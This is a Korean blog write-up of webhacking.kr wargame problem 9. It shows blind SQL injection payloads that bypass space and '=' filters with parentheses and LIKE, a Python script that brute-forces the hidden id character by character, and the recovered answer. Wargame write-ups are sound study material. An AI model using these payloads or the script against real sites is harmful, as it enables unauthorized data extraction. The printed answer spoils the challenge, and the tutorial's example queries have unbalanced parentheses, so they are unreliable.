728x90
반응형

이번에는 점수가 900점인 9번 문제를 풀어보자.

처음 화면은 다음과 같고, 1,2,3을 각각 눌러보자.

challenge/web-09/?no=1  

challenge/web-09/?no=2

challenge/web-09/?no=3

URL의 파라미터 no에 값을 변경함에 따라 페이지가 변하는 것을 볼 수 있다. 테스트를 위해 인자값에 sleep(3)함수를 입력 해본 후 3초 뒤에 응답되는 것을 확인했으며, SQL Injection 시도가 가능할 것으로 판단된다.

 

no=3 페이지에서 컬럼에는 id,no가 있고 passowrd는 id에 있다고 한다.

그럼 우리는 문제를 풀기 위해 id=password이고 no=3인 값을 가져와야 한다.

 

먼저, id의 길이를 알아내기 위해 쿼리문을 작성해보자.

쿼리문 : no=if length(id) = 1, 3, 0

id의 길이가 if이면 1를 반환해서 Secret이 출력되는 페이지로 이동해야 되고 거짓이면 0이 반환되어 아무것도 출력되지 않아야 하는데, Access Denied가 출력되게 된다.

즉, 문자열을 필터링하고 있다는 것으로 추측된다. 쿼리문의 공백을 없애고 '='는 'LIKE'로 취환하여 재쿼리해본다.

 

쿼리문 : no=if(length(id)like(1),3,0)

이제 페이지에 아무것도 출력되지 않는 것을 확인할 수 있었다. like에 담겨있는 숫자를 증가시켜 Secret이 출력될 때까지 시도해보자.

 

no=if(length(id)like(11),3,0) 11번째에서 Secret이 뜨는걸 확인했고, id의 길이는 11이다.

 

이제 substr()함수를 이용해 각 자리에 있는 글자를 찾아야 한다.

예시) IF(SUBSTR(id,1,1)LIKE(0x41),3,0) # id의 1번째 글자가 'A'인지 확인

 

이제 파이썬을 이용해서 자동화 코드를 작성해보자.

import requests

# 공격 함수
def attack(query, no):
    # 기본 url
    main_url = "https://webhacking.kr/challenge/web-09/?no="
    # 쿼리를 보낼 url
    attack_url = main_url + query
    # GET 방식으로 해당 웹 사이트에 접근(Reqeust)
    target = requests.get(attack_url)
    # HTML 소스 가져오기
    html = target.text
    # HTML에 Secret 이라는 문자열이 존재하는 경우
    if 'Secret' in html:
        # 어떤 문자열이 성공했는지 저장
        f = open("C://test_etc/result.txt", 'a')
        f.write(chr(no))
        f.close()

# 1번째 문자부터 11번째 문자까지
for i in range(1, 12):
    # ASCII 코드 33번 부터 127번까지
    # for j in range(33, 128):
    for j in range(97, 123):
        # ASCII 코드 10진수를 16진수로 변환
        h = hex(j)
        # 시도할 Query 설정
        query = f"IF(SUBSTR(id,{i},1)LIKE({h}),3,0)"
        # 쿼리 준비 완료 - 함수 실행
        attack(query, j)

결과 : alsrkswhaql

 

이제 결과 값을 입력해서 제출해보도록 하자.

정상적으로 문제가 풀렸음을 확인할 수 있다.

 

※ 추가 학습 내용

LIKE

SQL쿼리의 출력에서 문자열의 일치여부를 검색할 때 활용되는 명령어이다.  Blind SQL Injection에서는 =가 필터링 된 경우 이를 우회하기 위해 사용된다. 문제에서 like명령어는 if문과 함께 사용된다. 예제를 통해 확인해보자.

 Example Table
-----------------------------------------
    | CITY_NAME | TAG     | IS_VISIT |
    | --------- | ------- | -------- |
    | SEOUL     | CAPITAL | 1        |
------------------------------------------

결과 : 1

SELECT IF(CITY_NAME LIKE 'SEOUL'),'1', '0'
-- CITY_NAME의 레코드가 'SEOUL'이면 '1'를 반환
-- 이외의 경우 '0'을 반환

 

SELECT IF(SUBSTR(CITY_NAME, 1,1) LIKE(0x53)),'1', '0'
-- CITY_NAME의 레코드의 첫번째 글자가 'S'이면 '1'를 반환
-- 이외의 경우 '0'을 반환
-- 0x53은 'S'의 16진수(hex) 표현
-- 공백을 괄호로 우회할 수 있다

아스키 코드

 

728x90
반응형

'CTF & WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 11번 문제  (0) 2020.03.02
[webhacking.kr] 10번 문제  (0) 2020.03.02
[webhacking.kr] 8번 문제  (0) 2020.02.29
[webhacking.kr] 7번 문제  (0) 2020.02.28
[webhacking.kr] 6번 문제  (0) 2020.02.27

+ Recent posts